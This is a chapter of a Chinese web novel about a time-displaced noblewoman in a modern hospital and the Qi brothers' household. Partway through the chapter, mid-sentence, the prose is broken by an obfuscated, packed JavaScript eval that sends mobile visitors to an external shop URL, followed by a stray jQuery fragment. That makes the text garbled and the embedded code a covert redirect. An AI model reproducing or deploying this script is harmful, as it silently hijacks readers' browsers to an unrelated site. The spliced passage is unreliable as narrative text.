文趣网 > 其他小说 > 承祯年间 > 17. 第 17 章
    李端姝定定地看着这个把目光认真凝在她脸上的人,许久,抬起眼睫,“君明日可还会前来?”

    齐见钰倏然笑了出来,笑声干净透亮,无所顾忌地道:“当然了。”

    他抬手想要拍拍她肩,意识到不合适时后收回,一脸的郑重其事,“你又不告诉我你家住哪儿,也不说家里人的联系方式。就现在这个情况而言,除了继续帮你治病,我能怎么办?”

    李端姝皱起眉头,纠正道:“吾尝告君曰,家宅居于大玄。”

    “嗯……”齐见钰正儿八经地应道:“对,你和我说过,是我见识浅薄。”

    李端姝也不是这个意思,欲开口。隐隐有什么东西发出嗡嗡声,只见齐见钰忽然站起身来,“还有你的鱼汤。”

    齐见钰拿出手机一看,果然是徐叔。

    他低头回复信息,让她等几分钟,自己转身出去。

    李端姝坐在那里,“何为分钟?”

    她不禁拧眉思索,“分钟,君为何如此言道?”

    楼下。

    徐叔眼睁睁地看着手中鱼汤被人提走,动了动嘴,来不及说一句话,又眼睁睁地看着他步入电梯。

    徐叔那张万年微笑脸有些僵硬,心里满是压抑不住的好奇,抬头仰视,“见钰从来不会这样,所以这病房里究竟住的是谁?”

    他满腹心事地走下台阶,侧面突然有人撞过来,正低头看着手机的年轻人立刻抬起头,赶忙道歉,“不好意思不好意思。”

    徐叔略微低身,笑了笑,“没关系。”

    年轻人继续抬步向前走,不停地把手机放到耳边,不免怪罪,“怎么不接电话?我不是说过今晚还有个视频会议么?”

    他接着拨号,语气越发焦急,“现在谁来照顾妈?”

    “哎。”身后突然传来一道声音。,是刚才那位大叔,他握着手机回头,抬手指指自己,“您叫我?”

    徐叔走上前去,从外套内口袋里拿出一块洁净手帕,递过去,“擦擦吧,您流了不少汗。”

    “辛苦了。”

    年轻人呆呆愣愣地接过手帕,辛苦?

    眼前人早已离开,夜风忽起,他这才察觉到自己衬衫上满是汗。

    他一下班便赶来医院,癌症晚期的母亲每时每刻都在念叨着身上疼,只有等她睡着了,他才能有点处理私事的时间。

    视频会议即将开始,而他从下班忙到现在,连饭都没来得及吃。

    “小宇。”身前有道气喘吁吁的声音。

    他抬起头,年过半百的老人顶着满头白发,笑呵呵地从怀里掏出一个塑料袋,冒着热气,“爸刚刚不是去超市给你妈买顶新帽子吗?你猜爸看见了什么?”

    “铛铛铛,那家超市的收银台居然还卖茶叶蛋。”他打开袋子,小心剥开蛋壳,絮絮叨叨地说着,“爸记得你从小就特别喜欢吃茶叶蛋,白煮的都不要。你今晚一直替我和你妈忙活,都没来得及吃饭。”

    老人将剥好的茶叶蛋递至他眼前,愧疚无措,“对不起啊,小宇,这回是爸爸妈妈连累你了,我们以后……”

    “爸。”他抬手抱住他,感受到他同样满是汗水的后背。他闭了闭眼睛,轻轻摇头,“不连累。”

    随即他放开他,像小朋友那般嘟囔抱怨,“下次记得多买个茶叶蛋就行。”

    “好。”老人笑眯眯地看着他吃,比吃进自己嘴里还要心满意足,一如二十年前。

    医院露天停车场。

    徐叔站立于车边等候,不一会儿,低头瞥了眼自己刚才被撞的那条胳膊。

    他有些困惑,为什么心里总有种万分熟悉的感觉。

    玄承祯十八年,仲春二十吉旦。

    肃王府。

    “不对不对,那个‘囍’字贴歪了。你再朝窗棂中间靠点,少了,再靠一点。”

    “好,”说话人移了移位置,扬声问道:“这样行吗?”

    “哎呀,不行不行,这回又多了。”

    “多了?那这样呢?”

    “你稍微等会儿啊,我站远些看看。”

    他着急忙慌地往后连退几步,突然撞到一物,忙不迭地回首察看,即刻躬下身,“徐长史。”

    徐长史正蹲在地上,似乎并未受他影响,闻言才抬头一看,“何事?”

    语毕,他不惊不慌地沿着中轴准对红氍毹,确保它自王府正门直至正殿铺得笔直,不偏分毫。

    下人恭恭敬敬地回道:“无事。”

    “嗯,”徐长史轻轻颔首,忽地叫住他,将随身携带的手帕递过去,“满头大汗的,擦擦吧。”

    “不敢不敢。”下人诚惶诚恐地摇头。

    徐长史满面带笑,揶揄道:“今日肃王大喜之日,你莫非要以这般模样前去见人?”

    “……”下人神色窘迫,本就低着的身子更低,声音微弱,“也不敢。”

    “那就拿去擦擦吧。”

    “谢长史大人。”

    他用这块手帕细细蘸去额头汗液,再开口时,语气不复焦急,反而带着几分安定,“再往上去些。”

    他不急,张贴双禧窗花的人便也不急了,有条不紊地听从差遣。

    “好了好了,这回可以了。”

    “徐叔。”

    徐叔定了定心神,抬眼望过去,“见钰。”

    齐见钰拉开车门,随口说道:“我们回去吧。”

    “好。”徐叔浅浅而笑。

    齐见钰坐进车里,他今晚心中始终挂念着吴助理说的那些,拿出手机解锁。屏幕页面还停留在与齐见珩的对话框内,他打字,【哥,你今天】

    齐见钰抿了抿唇,几秒后,逐字删除,退出界面。

    城南,别墅区。

    吴助理按响门铃,习惯地退后一步等人开门。

    门很快被阿姨从里面打开,他朝她点头一笑,径直去往书房。

    “小齐总。”

    吴助理屈指轻轻叩门,“您在里面吗?”

    齐见珩翻阅文件的动作微顿,稍稍抬起眼眸,“进。”

    吴助理走进去,没关门,一字不落地向他汇报今晚发生在医院的情况。

    齐见珩只是淡淡听着,手中用来签字的钢笔始终未停,合起一份文件,随意搁置到一边,“嗯,就这么打发走吧。”

    他说这话时语调毫无波动,不带任何情绪,仿佛仅仅在听他讲述一个无关紧要的人而已。

    吴助理神色淡然,处变不惊地答应一声。

    齐见珩翻开另一份文件,“明天晚上的行程调整一下。”

    吴助理下意识地想问怎么调整,却见到眼前人抬起头,唇角微勾,可眼里毫无笑意,显得更加凉薄无情,“一个月了,再忙的人都要抽出时间陪自己的未婚妻吃顿饭吧。”

    “你说呢?”齐见珩盖上钢笔,慢悠悠地问道:“吴助理。”

    吴助理强作笑颜,“是,小齐总。”

    齐见珩看着他,忽然觉得哪里有趣,“这件事情很有意思吗?”

    吴助理恰到好处地露出迷茫神情,“嗯?我不明白,小齐总您指的是什么?”

    齐见珩不喜欢向任何人作出解释,只是目不转睛地盯着他,语气寻常,“那你为什么要笑?”

    “……”吴助理冷汗直下,不敢直视他,“小齐总……”

    齐见珩继续低头处理文件,漫不经心地吩咐,“出去吧。”

    “是。”

    吴助理离开书房,关上门,心惊肉跳地走至玄关。

    【吴先生,】守在客厅的阿姨靠近他,把一直拿在手中的本子放到他眼前,上面写道:【外面下雪了,您拿把伞再走吧。】

    阿姨双手把伞递给他。

    吴助理本能地瞥了眼客厅天花板上的监控,那里闪闪发亮的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764172|209250||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    红光映入他的瞳孔,直穿脑髓,“不用不用。”

    阿姨摇头,执意塞给他。

    吴助理只好拿起笔,在本子上回道:【钟姨,谢谢您的好意,但我车子就停在门口,真的不需要伞。】

    这么解释完,他忙不迭地开门告辞。

    钟姨嘴巴上下嗫嚅几次,几秒后,把伞送回原处。围裙口袋里的手机发出振动,屏幕显示:【晚上十点,齐先生,晚茶。】

    钟姨如同收到指令的机器人,撇去手头一切事情,率先执行这个最高级指令。

    没过多久,她端着沏好的晚茶敲响书房房门,敲完也没有立即进去,而是在心里默数十个数。

    自来到这里的第一天,齐先生便向她提出要求,敲门后必须等待十秒,否则一秒也不用多待,直接离开。

    她耳朵听不见,嘴巴也不会讲话,不会再找到第二个像齐先生这样愿意开出高薪水的主家。她家里还有老公需要“照顾”,不能丢掉这份工作。

    钟姨默默数到第十秒,垂头进去。

    齐见珩正站在窗边和人通话,听到这声动静,转眸望向她。

    钟姨放下杯子,整理好文件,取走随手丢在沙发上的外套。她全程低着眼睛,防止看到不该看的一切。

    电话另一头的人温声细语地开口:“小齐总,冒昧向他人打听到您的电话,现在又冒昧占用您的时间,深感抱歉。”

    “嗯。”齐见珩无波无澜地应道。

    电话那头的人却红了脸,“您明天有空吗?我想约您吃个饭。”

    她抬目看着化妆镜中的自己,网络上绝大多数人都评价她为最适合演古装剧的女演员之一,标致的古典美人,低低诉说时,不用做什么,便能令人心生怜爱。

    她道:“就当是为了报答您的救命之恩。”

    上周,她被资方恶意灌酒,神志不清时,多谢他的帮助,她才能顺利回家。

    齐见珩挑了挑眉,口吻极尽绅士,“抱歉,沈小姐,我明天有约。”

    沈边仪急急忙忙地开口:“没事的,我可以等。”

    “等您有空了再说。”

    “那要是一直没空怎么办?”

    化妆镜中的女子彻底羞红了脸,声音柔情似水,“我可以一直等您的。”

    齐见珩略一颔首,“回见。”说完,他挂断电话。

    钟姨把外套搭在自己的胳膊上,准备拿出去洗护,注意到他忙完了,她放下外套,双手将平常用来“说话”的本子呈上去。

    齐见珩简单扫了一眼,丢到桌上。

    钟姨捡起本子,收好,重新拿起外套,退至书房外。

    冬夜的雪下得不声不响,天地白茫茫一片,偶有雪花在路灯下飞舞,旋转着慢慢掉落。

    柳护士伸了个懒腰,和同值班的同事吐槽,“我好困啊。全世界都睡了,就我不能睡。”

    同事哈气连天,以手遮嘴,下一秒,用手抹去生理性泪水,拍拍脸,逼迫自己强打起精神来,“请别在我面前说困,我有条件反射。”

    “什么反射?”

    她又打了个哈欠,一脸麻木地介绍:“喏,就是这个反射。”

    柳护士被她传染了,连打两个,抓狂到叫苦连天,“我保证,自己再也不说了。”

    “先生。”

    两位护士顶着同样的泪眼转过头。

    李端姝愣了一下,她们俩即刻各自整理仪容仪表,露出微笑,“怎么了?”

    李端姝把那盒没有碰过的鱼汤放至台面上,缓缓开口:“不知先生们可已进过晚膳?”

    她尚未有饥饿之感,可长时间不喝,鱼汤便不新鲜了,于是她鼓足勇气打开门,寻到她们。

    柳护士大概明白她的意思了,和同事相望,正打算拒绝,却看见701病房的门被人从里面打开,同时传来一句,“滚,滚出去,我不想再见到你。”